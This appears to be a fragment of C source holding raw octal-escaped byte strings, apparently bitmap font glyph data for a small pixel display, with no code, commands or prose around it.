"\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\200\200\300\300\300\300\300\300\300\300\200\200\200\0\0\0" "\0\0\0\0\0\0\0\0\300\360\370\374\376\376\77\37\37\17\7\7\7\7\3\7\7\7\17\17\37\77\177\376" "\374\370\360\300\0\300\374\377\377\377\377\17\3\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\3" "\1\1\0\0\0\377\377\377\377\377\1\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0" "\0\0\0\0\0\7\177\377\377\377\377\340\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0" "\0\0\0\0\0\0\0\3\17\37\77\177\377\376\370\360\340\340\300\300\200\200\200\200\200\200\300\300\340\360\370\374" "\374x\70\0\0\0\0\0\0\0\0\0\0\1\1\3\3\7\7\7\7\7\17\7\7\7\7\7\3\3\1\0" "\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0" "\0\0\0\0\0\300\300\300\300\300\300\300\300\300\300\300\300\300\300\300\300\200\200\200\0\0\0\0\0\0\0\0" "\0\0\0\0\0\377\377\377\377\377\3\3\3\3\3\3\7\7\7\7\7\7\17\37\77\177\376\374\374\360\340\200" "\0\0\0\0\0\377\377\377\377\377\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\7\177\377\377\377" "\376\340\0\0\0\377\377\377\377\377\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\377\377\377" "\377\377\0\0\0\377\377\377\377\377\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\300\370\377\377\377" "\377\17\0\0\0\377\377\377\377\377\200\200\200\200\200\300\300\300\300\300\300\340\340\360\370\374\377\177\77\37\17\3" "\0\0\0\0\0\7\7\7\7\7\7\7\7\7\7\7\7\7\7\7\7\3\3\3\1\1\0\0\0\0\0\0" "\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0" "\0\0\0\0\0\0\300\300\300\300\300\300\300\300\300\300\300\300\300\300\300\300\300\300\300\300\300\300\300\300\300\300" "\300\300\0\0\0\0\377\377\377\377\377\3\3\3\3\3\3\3\3\3\3\3\3\3\3\3\3\3\3\3\3\3" "\3\3\0\0\0\0\377\377\377\377\377\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0" "\0\0\0\0\0\0\377\377\377\377\377\36\36\36\36\36\36\36\36\36\36\36\36\36\36\36\36\36\36\36\0\0" "\0\0\0\0\0\0\377\377\377\377\377\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0" "\0\0\0\0\0\0\377\377\377\377\377\200\200\200\200\200\200\200\200\200\200\200\200\200\200\200\200\200\200\200\200\200" "\200\200\0\0\0\0\7\7\7\7\7\7\7\7\7\7\7\7\7\7\7\7\7\7\7\7\7\7\7\7\7\7" "\7\7\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0" "\0\0\0\0\0\0\0\300\300\300\300\300\300\300\300\300\300\300\300\300\300\300\300\300\300\300\300\300\300\300\300\300" "\300\0\0\0\0\0\0\377\377\377\377\377\3\3\3\3\3\3\3\3\3\3\3\3\3\3\3\3\3\3\3\3" "\3\0\0\0\0\0\0\377\377\377\377\377\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0" "\0\0\0\0\0\0\0\377\377\377\377\377\36\36\36\36\36\36\36\36\36\36\36\36\36\36\36\36\36\0\0\0" "\0\0\0\0\0\0\0\377\377\377\377\377\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0" "\0\0\0\0\0\0\0\377\377\377\377\377\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0" "\0\0\0\0\0\0\0\7\7\7\7\7\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0" "\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0" "\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\200\200\200\300\300\300\300\300\300\300\300\200\200\0\0\0\0" "\0\0\0\0\0\0\0\300\360\370\374\376~\77\37\17\17\7\7\7\7\3\7\7\7\7\17\17\37\77\376\376" "\374x \0\200\374\377\377\377\377\7\1\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\1" "\0\0\0\0\377\377\377\377\377\0\0\0\0\0\0\0\0\0\0\0\0\0\340\340\340\340\340\340\340\340\340\340" "\340\340\340\0\17\177\377\377\377\377\300\0\0\0\0\0\0\0\0\0\0\0\1\1\1\1\1\1\1\1\377\377" "\377\377\377\0\0\0\3\17\37\77\177\377\374\370\360\340\300\300\300\200\200\200\200\200\200\300\300\300\340\340\377\377" "\377\377\177\0\0\0\0\0\0\0\0\0\1\1\3\3\7\7\7\7\7\17\17\7\7\7\7\7\3\3\1\1" "\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0" "\0\0\0\0\0\0\300\300\300\300\300@\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\300\300\300" "\300\300\0\0\0\0\377\377\377\377\377\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\377\377\377" "\377\377\0\0\0\0\377\377\377\377\377\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\377\377\377" "\377\377\0\0\0\0\377\377\377\377\377\36\36\36\36\36\36\36\36\36\36\36\36\36\36\36\36\36\36\377\377\377" "\377\377\0\0\0\0\377\377\377\377\377\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\377\377\377" "\377\377\0\0\0\0\377\377\377\377\377\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\377\377\377" "\377\377\0\0\0\0\7\7\7\7\7\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\7\7\7" "\7\7\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0" "\0\0\0\0\0\0\0\0\300\300\300\300\300\300\300\300\300\300\300\300\300\300\300\300\300\300\300\300\300\300\0\0" "\0\0\0\0\0\0\0\0\3\3\3\3\3\3\3\3\377\377\377\377\377\3\3\3\3\3\3\3\3\3\0\0" "\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\377\377\377\377\377\0\0\0\0\0\0\0\0\0\0\0" "\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\377\377\377\377\377\0\0\0\0\0\0\0\0\0\0\0" "\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\377\377\377\377\377\0\0\0\0\0\0\0\0\0\0\0" "\0\0\0\0\0\0\0\200\200\200\200\200\200\200\200\200\377\377\377\377\377\200\200\200\200\200\200\200\200\200\0\0" "\0\0\0\0\0\0\0\7\7\7\7\7\7\7\7\7\7\7\7\7\7\7\7\7\7\7\7\7\7\7\0\0" "\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0" "\0\0\0\0\0\0\0\0\0\0\0\0\0\0\300\300\300\300\300\300\300\300\300\300\300\300\300\300\300\300\300\300" "\300\300\0\0\0\0\0\0\0\0\0\0\0\0\3\3\3\3\3\3\3\3\3\377\377\377\377\377\3\3\3\3" "\3\3\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\377\377\377\377\377\0\0\0\0" "\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\377\377\377\377\377\0\0\0\0" "\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\377\377\377\377\377\0\0\0\0" "\0\0\0\0\0@\340\360\370\360\340\300\300\200\200\200\200\200\300\300\340\370\377\377\377\177\37\3\0\0\0\0" "\0\0\0\0\0\0\0\1\1\3\3\7\7\7\7\17\17\7\7\7\7\3\3\1\0\0\0\0\0\0\0\0" "\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0" "\0\0\0\0\0\300\300\300\300\300@\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\200\300\300\300\300" "\300@\0\0\0\377\377\377\377\377\0\0\0\0\0\0\0\0\0\0\200\300\340\360\370\374~\77\37\17\7\3" "\0\0\0\0\0\377\377\377\377\377\0\0\0\200\300\340\360\370\374\177\77\37\17\7\3\1\0\0\0\0\0\0" "\0\0\0\0\0\377\377\377\377\377\370~\77\37\37\177\377\377\371\360\340\200\0\0\0\0\0\0\0\0\0\0" "\0\0\0\0\0\377\377\377\377\377\0\0\0\0\0\0\0\3\7\37\77\377\377\374\370\360\300\200\0\0\0\0" "\0\0\0\0\0\377\377\377\377\377\0\0\0\0\0\0\0\0\0\0\0\0\1\7\17\77\177\377\376\374\370\340" "\300\0\0\0\0\7\7\7\7\7\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\3\7\7\7" "\7\7\6\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0" "\0\0\0\0\0\0\300\300\300\300\300@\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0" "\0\0\0\0\0\0\377\377\377\377\377\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0" "\0\0\0\0\0\0\377\377\377\377\377\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0" "\0\0\0\0\0\0\377\377\377\377\377\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0" "\0\0\0\0\0\0\377\377\377\377\377\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0" "\0\0\0\0\0\0\377\377\377\377\377\200\200\200\200\200\200\200\200\200\200\200\200\200\200\200\200\200\200\200\200\200" "\200\0\0\0\0\0\7\7\7\7\7\7\7\7\7\7\7\7\7\7\7\7\7\7\7\7\7\7\7\7\7\7" "\7\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0" "\0\0\0\0\0\300\300\300\300\300\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\200\300" "\300\300\300\0\0\377\377\377\377\377\377\374\360\300\0\0\0\0\0\0\0\0\0\0\0\0\200\340\370\376\377\377" "\377\377\377\0\0\377\377\377\377\377\3\17\77\377\377\374\360\300\0\0\0\0\200\340\370\376\377\77\17\3\377\377" "\377\377\377\0\0\377\377\377\377\377\0\0\0\0\3\17\77\377\377\370\370\376\377\77\17\3\0\0\0\0\377\377" "\377\377\377\0\0\377\377\377\377\377\0\0\0\0\0\0\0\0\3\7\7\3\0\0\0\0\0\0\0\0\377\377" "\377\377\377\0\0\377\377\377\377\377\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\377\377" "\377\377\377\0\0\7\7\7\7\7\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\7\7" "\7\7\7\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0" "\0\0\0\0\0\300\300\300\300\300\300\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\300\300\300" "\300\300\0\0\0\377\377\377\377\377\377\377\374\360\340\200\0\0\0\0\0\0\0\0\0\0\0\0\0\377\377\377" "\377\377\0\0\0\377\377\377\377\377\0\3\17\37\177\377\376\370\340\200\0\0\0\0\0\0\0\0\0\377\377\377" "\377\377\0\0\0\377\377\377\377\377\0\0\0\0\0\1\7\37\177\377\377\374\360\300\0\0\0\0\0\377\377\377" "\377\377\0\0\0\377\377\377\377\377\0\0\0\0\0\0\0\0\0\0\3\17\77\377\377\374\370\340\200\377\377\377" "\377\377\0\0\0\377\377\377\377\377\0\0\0\0\0\0\0\0\0\0\0\0\0\0\3\7\37\177\377\377\377\377" "\377\377\0\0\0\7\7\7\7\7\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\1\7\7\7" "\7\7\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0" "\0\0\0\0\0\0\0\0\0\0\0\0\0\0\200\200\200\300\300\300\300\300\300\300\200\200\200\0\0\0\0\0" "\0\0\0\0\0\0\200\300\360\370\374\376\177\77\37\17\7\7\7\7\7\7\7\7\17\17\37\177\376\376\374\370" "\340\300\0\0\300\374\377\377\377\377\7\1\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\7\377\377" "\377\377\376\340\377\377\377\377\377\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\377" "\377\377\377\377\7\177\377\377\377\377\300\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\200\374\377" "\377\377\377\37\0\0\3\17\37\77\377\377\374\370\340\340\300\300\200\200\200\200\200\300\300\340\360\370\374\377\177\77" "\37\7\1\0\0\0\0\0\0\0\0\0\1\3\3\7\7\7\7\7\17\7\7\7\7\7\3\3\1\0\0\0" "\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0" "\0\0\0\0\0\0\300\300\300\300\300\300\300\300\300\300\300\300\300\300\300\300\300\300\300\200\200\200\0\0\0\0" "\0\0\0\0\0\0\377\377\377\377\377\3\3\3\3\3\3\3\3\3\7\7\7\7\7\17\37\77\377\377\376\374" "\360\300\0\0\0\0\377\377\377\377\377\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\200\340\377\377\377" "\377\177\0\0\0\0\377\377\377\377\377xxxxxxxxxx||||~>\77\37\37\17\7" "\1\0\0\0\0\0\377\377\377\377\377\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0" "\0\0\0\0\0\0\377\377\377\377\377\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0" "\0\0\0\0\0\0\7\7\7\7\7\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0" "\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0" "\0\0\0\0\0\0\0\0\0\0\0\0\0\0\200\200\200\300\300\300\300\300\300\300\200\200\200\0\0\0\0\0" "\0\0\0\0\0\0\200\300\360\370\374\376\177\77\37\17\7\7\7\7\7\7\7\7\17\37\37\177\376\376\374\370" "\340\300\0\0\300\374\377\377\377\377\7\1\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\7\377\377" "\377\377\376\340\377\377\377\377\377\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\1\377" "\377\377\377\377\17\377\377\377\377\377\300\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\200\376\377" "\377\377\377\37\0\0\7\37\77\177\377\376\370\360\340\300\200\200\200\200\0\200\200\200\300\300\340\370\374\377\377\177" "\37\7\1\0\0\0\0\0\0\0\0\1\3\7\7\7\17\17\377\377\377\377\217\17\7\7\7\3\1\1\0\0" "\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\7\17\37\37\37>>><>>>>" ">>\0\0\0\0\300\300\300\300\300\300\300\300\300\300\300\300\300\300\300\300\300\300\300\200\200\200\0\0\0\0" "\0\0\0\0\0\0\377\377\377\377\377\3\3\3\3\3\3\3\3\3\7\7\7\7\7\17\37\77\377\377\376\374" "\360\300\0\0\0\0\377\377\377\377\377\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\200\300\377\377\377" "\377\177\0\0\0\0\377\377\377\377\377xxxxxxxxx\370\374\374\374\374~>\77\37\37\17\7" "\1\0\0\0\0\0\377\377\377\377\377\0\0\0\0\0\0\0\0\0\0\3\17\77\377\377\374\360\340\200\0\0" "\0\0\0\0\0\0\377\377\377\377\377\0\0\0\0\0\0\0\0\0\0\0\0\0\0\3\17\77\377\377\376\370" "\340\200\0\0\0\0\7\7\7\7\7\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\7\7\7" "\7\7\6\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0" "\0\0\0\0\0\0\0\0\0\0\0\0\0\0\200\200\200\300\300\300\300\300\300\300\300\200\200\200\0\0\0\0" "\0\0\0\0\0\0\0\300\360\370\374\376\177\37\17\17\7\7\7\7\3\7\7\7\7\17\17\37\77~\376<" "\30\0\0\0\0\0\0\37\177\377\377\377\374\360\300\200\200\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0" "\0\0\0\0\0\0\0\0\0\0\1\3\7\7\17\17\37\37\37>>|||\370\370\360\360\340\340\300\200" "\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\1\3\7\17\377\377" "\377\376\370\0\0\0p\374\376\374\370\360\340\300\300\300\200\200\200\200\200\200\200\200\300\300\340\360\370\376\377\377" "\177\37\7\0\0\0\0\0\0\1\1\3\3\7\7\7\7\7\7\17\17\7\7\7\7\7\7\3\3\1\0\0" "\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0" "\0\0\0\0\300\300\300\300\300\300\300\300\300\300\300\300\300\300\300\300\300\300\300\300\300\300\300\300\300\300\300\300" "\300\300\300\0\3\3\3\3\3\3\3\3\3\3\3\3\3\377\377\377\377\377\3\3\3\3\3\3\3\3\3\3" "\3\3\3\0\0\0\0\0\0\0\0\0\0\0\0\0\0\377\377\377\377\377\0\0\0\0\0\0\0\0\0\0" "\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\377\377\377\377\377\0\0\0\0\0\0\0\0\0\0" "\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\377\377\377\377\377\0\0\0\0\0\0\0\0\0\0" "\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\377\377\377\377\377\0\0\0\0\0\0\0\0\0\0" "\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\7\7\7\7\7\0\0\0\0\0\0\0\0\0\0" "\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0" "\0\0\0\0\0\300\300\300\300\300@\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\300\300\300" "\300\300\0\0\0\377\377\377\377\377\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\377\377\377" "\377\377\0\0\0\377\377\377\377\377\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\377\377\377" "\377\377\0\0\0\377\377\377\377\377\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\377\377\377" "\377\377\0\0\0\377\377\377\377\377\200\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\377\377\377" "\377\377\0\0\0\3\17\77\177\377\377\374\360\340\340\300\300\200\200\200\200\200\200\300\300\340\360\370\377\377\177\77" "\37\3\0\0\0\0\0\0\0\0\1\1\3\3\7\7\7\7\7\17\17\7\7\7\7\7\3\3\1\0\0\0" "\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0" "\0\0\0\0\300\300\300\300\300\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\300" "\300\300\300\300\1\17\177\377\377\377\370\300\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\300\370\377\377" "\377\77\7\0\0\0\0\3\37\377\377\377\376\360\200\0\0\0\0\0\0\0\0\0\0\200\360\376\377\377\77\17" "\1\0\0\0\0\0\0\0\0\0\7\77\377\377\377\374\340\0\0\0\0\0\0\300\370\377\377\177\17\1\0\0" "\0\0\0\0\0\0\0\0\0\0\0\0\1\17\177\377\377\377\370\300\200\360\376\377\377\37\3\0\0\0\0\0" "\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\3\37\377\377\377\377\377\77\7\0\0\0\0\0\0\0\0" "\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\3\7\7\1\0\0\0\0\0\0\0\0\0\0" "\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0" "\0\0\0\0\300\300\300\300\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0" "\300\300\300\300\377\377\377\377\360\0\0\0\0\0\0\0\0\0\340\376\376\370\300\0\0\0\0\0\0\0\0\340" "\377\377\377\37\0\177\377\377\377\374\0\0\0\0\0\0\340\376\377\177\377\377\377\374\300\0\0\0\0\0\360\377" "\377\377\17\0\0\0\37\377\377\377\376\200\0\0\360\377\377\77\7\0\0\17\377\377\377\374\340\0\0\360\377\377" "\377\3\0\0\0\0\0\7\377\377\377\377\360\377\377\77\3\0\0\0\0\0\0\7\177\377\377\376\370\377\377\177" "\0\0\0\0\0\0\0\0\1\177\377\377\377\77\3\0\0\0\0\0\0\0\0\0\0\7\177\377\377\377\37\0" "\0\0\0\0\0\0\0\0\0\0\7\7\1\0\0\0\0\0\0\0\0\0\0\0\0\0\0\7\7\7\0\0" "\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0" "\0\0\0\0\0@\300\300\300\300\200\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\200\300\300\300" "\300@\0\0\0\0\1\7\37\177\377\377\374\360\300\0\0\0\0\0\0\0\0\0\300\360\374\377\377\177\37\7" "\1\0\0\0\0\0\0\0\0\0\1\3\17\77\377\377\376\370\340\200\340\360\374\377\377\77\17\3\0\0\0\0" "\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\203\357\377\377\377\377\377\377\303\200\0\0\0\0\0\0\0" "\0\0\0\0\0\0\0\0\0\0\0\300\360\374\377\377\177\37\7\1\7\37\77\377\377\376\370\340\200\0\0\0" "\0\0\0\0\0\0\200\340\360\374\377\377\177\37\7\1\0\0\0\0\0\0\0\0\3\17\77\177\377\376\374\360" "\300\0\0\0\0\6\7\7\7\7\3\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\1\7\7\7" "\7\7\4\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0" "\0\0\0\0\300\300\300\300\300\200\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\300\300\300" "\300\300@\0\0\3\17\77\377\377\376\370\340\200\0\0\0\0\0\0\0\0\0\0\0\200\340\370\376\377\377\77" "\7\1\0\0\0\0\0\0\0\3\17\77\377\377\376\370\340\200\0\0\0\0\300\360\374\377\377\77\17\3\0\0" "\0\0\0\0\0\0\0\0\0\0\0\0\0\3\17\77\377\377\376\370\374\377\377\177\37\3\0\0\0\0\0\0" "\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\377\377\377\377\377\1\0\0\0\0\0\0\0\0\0" "\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\377\377\377\377\377\0\0\0\0\0\0\0\0\0\0" "\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\7\7\7\7\7\0\0\0\0\0\0\0\0\0\0" "\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0" "\0\0\0\0\0\0\300\300\300\300\300\300\300\300\300\300\300\300\300\300\300\300\300\300\300\300\300\300\300\300\300\300" "\300\300\0\0\0\0\3\3\3\3\3\3\3\3\3\3\3\3\3\3\3\3\3\3\3\303\343\373\377\377\177\77" "\17\3\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\200\340\370\374\377\377\77\17\7\1\0\0" "\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\200\340\370\374\377\377\77\17\7\1\0\0\0\0\0\0\0" "\0\0\0\0\0\0\0\0\0\0\200\340\370\374\377\377\77\37\7\1\0\0\0\0\0\0\0\0\0\0\0\0" "\0\0\0\0\0\200\340\370\374\377\377\377\237\207\203\200\200\200\200\200\200\200\200\200\200\200\200\200\200\200\200\200" "\200\300\300\0\0\7\7\7\7\7\7\7\7\7\7\7\7\7\7\7\7\7\7\7\7\7\7\7\7\7\7\7" "\7\7\7\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0" "\0\0\0\0\0\0\0\0\0\0\0\374\374\374\374\374<<<<<<<<<<<<<<<<" "\0\0\0\0\0\0\0\0\0\0\0\377\377\377\377\377\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0" "\0\0\0\0\0\0\0\0\0\0\0\377\377\377\377\377\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0" "\0\0\0\0\0\0\0\0\0\0\0\377\377\377\377\377\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0" "\0\0\0\0\0\0\0\0\0\0\0\377\377\377\377\377\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0" "\0\0\0\0\0\0\0\0\0\0\0\377\377\377\377\377\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0" "\0\0\0\0\0\0\0\0\0\0\0\377\377\377\377\377\340\340\340\340\340\340\340\340\340\340\340\340\340\340\340\340" "\0\0\0\0\0\0\0\0\0\0\0\1\1\1\1\1\1\1\1\1\1\1\1\1\1\1\1\1\1\1\1\1" "\0\0\0\0\0\0 \360\360\370\370\340\200\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0" "\0\0\0\0\0\0\0\0\3\17\77\377\377\376\370\300\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0" "\0\0\0\0\0\0\0\0\0\0\0\0\7\37\177\377\377\374\360\300\0\0\0\0\0\0\0\0\0\0\0\0" "\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\1\7\77\377\377\376\370\340\200\0\0\0\0\0\0\0\0" "\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\3\17\77\377\377\376\360\300\0\0\0\0\0" "\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\7\37\177\377\377\374\360\300\0" "\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\1\7\37\77\37\36" "\10\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0" "\0\0\0\0\0\0\0\0<<<<<<<<<<<<<<<<\374\374\374\374\374\0\0\0" "\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\377\377\377\377\377\0\0\0" "\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\377\377\377\377\377\0\0\0" "\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\377\377\377\377\377\0\0\0" "\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\377\377\377\377\377\0\0\0" "\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\377\377\377\377\377\0\0\0" "\0\0\0\0\0\0\0\0\340\340\340\340\340\340\340\340\340\340\340\340\340\340\340\340\377\377\377\377\377\0\0\0" "\0\0\0\0\0\0\0\0\1\1\1\1\1\1\1\1\1\1\1\1\1\1\1\1\1\1\1\1\1\0\0\0" "\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\200\300\300\200\0\0\0\0\0\0\0\0\0\0" "\0\0\0\0\0\0\0\0\0\0\0\0\0\0\300\360\370\376\377\77\177\377\376\370\340\200\0\0\0\0\0\0" "\0\0\0\0\0\0\0\0\0\200\340\370\374\377\77\37\7\1\0\0\0\1\7\17\77\377\376\370\340\200\0\0" "\0\0\0\0\0\0\0\0\1\1\3\3\1\0\0\0\0\0\0\0\0\0\0\0\0\0\3\3\3\1\1\0" "\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0" "\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0" "\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0" "\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0" "\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0" "\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0" "\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0" "\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0" 